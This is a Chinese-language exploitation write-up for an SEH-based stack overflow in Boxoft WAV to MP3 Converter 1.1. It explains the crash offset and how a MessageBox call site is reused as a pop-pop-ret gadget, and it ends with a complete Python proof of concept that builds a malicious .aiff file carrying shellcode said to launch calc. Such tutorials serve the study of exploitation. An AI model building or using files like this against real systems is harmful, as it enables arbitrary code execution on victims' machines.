您的位置:首页 > 其它

Boxoft WAV to MP3 Converter 1.1 漏洞分析及利用[SEH]

2017-08-16 09:39 881 查看

1.软件简介

BoxSoft WAV to MP3 Converter是一个100%免费功能强大的音频转换工具,可以批量的把WAV格式文件转换成高质量的MP3音频文件,它配备了标准的音频编码器,你可以设置比特率和一次转换多个音频文件,另一个方便的特性是可以设置热点目录,在wav转MP3时自动把文件写入该目录进行监视。

测试平台:Microsoft Windows 7 SP3 (中文版)

2.漏洞成因

由于在拷贝字符串的时候,没有的对长度进行检测,导致栈溢出.



3.利用过程

3.1 使用mona生成测试字符,构造aiff文件 .观察异常偏移.



3.2 通过mona确定漏洞触发偏移.



3.3 根据跟踪我们可以发现,因为覆盖了SEH链表,导致程序崩溃.





因此我们需要跳板指令 “pop pop ret ”.为什么需要跳板指令呢?

我们看一下异常处理函数handler4的原型:

EXCEPTION_DISPOSITION __cdecl
_except_handler4(
IN struct _EXCEPTION_RECORD *ExceptionRecord,
IN PVOID EstablisherFrame,       //指向下一个SEH处理函数的指针 next  seh
IN OUT struct _CONTEXT *ContextRecord,
IN OUT PVOID DispatcherContext
);


而调用这个函数的起始位置,栈中分布应该是这样的:



如果我们得到了EstablisherFrame的值,那么我们也就得到了我们的溢出数据在栈中的地址.根据这个我们就可以确定我们ShellCode的相对布局.如图:



现在我们需要去找跳板指令.这里我们使用程序空间中的0x004043A4的MessageBox来实现.

004043A0  |. /75 13         jnz short wavtomp3.004043B5
004043A2  |. |6A 00         push 0x0                                 ; /Style = MB_OK|MB_APPLMODAL
004043A4  |. |68 64504C00   push wavtomp3.004C5064                   ; |Title = "Error" 注意这个位置
004043A9  |. |68 6C504C00   push wavtomp3.004C506C|Text = "Runtime error     at 00000000"
004043AE  |. |6A 00         push 0x0       |hOwner = NULL
004043B0  |. |E8 33CFFFFF   call <jmp.&user32.MessageBoxA>
004043B5  |> \5A            pop edx                                  ;  gdi32.76AF7349
004043B6  \.  C3            retn


我们在0x004043A4开始执行,相当于我们给MessageBox传了三个参数,但是MessageBox需要四个参数,整体执行下来相当于一个Pop指令.再加上下面的pop edx retn. 就是跳板指令了.

4.PoC

这里使用python来实现:

#python
f = open("Expolit.aiff", "w")
f.write("A" * 4132)  # 4136 - 4
f.write("\xeb\x06\x90\x90") # jmp 06 nop nop
f.write("\xa4\x43\x40\x00")  # 构造 pop pop ret 这里利用了MessageBox函数

# Shelcode:
f.write("\x90" * 20)  #ShellCode前填充NOP
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")   #弹出calc
f.write("\x90" * 20)#ShellCode 后填充Nop
f.close()


5.结语

这次栈溢出对ShellCode的长度有限制.ShellCode最大长度为359个字节.

在覆盖SEH使用跳板指令”pop xx pop xx retn”的时候,巧妙的使用了MessageBox函数来达到一个POP的效果在配合后面的POP xx retn ,达到了跳板指令的效果.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  溢出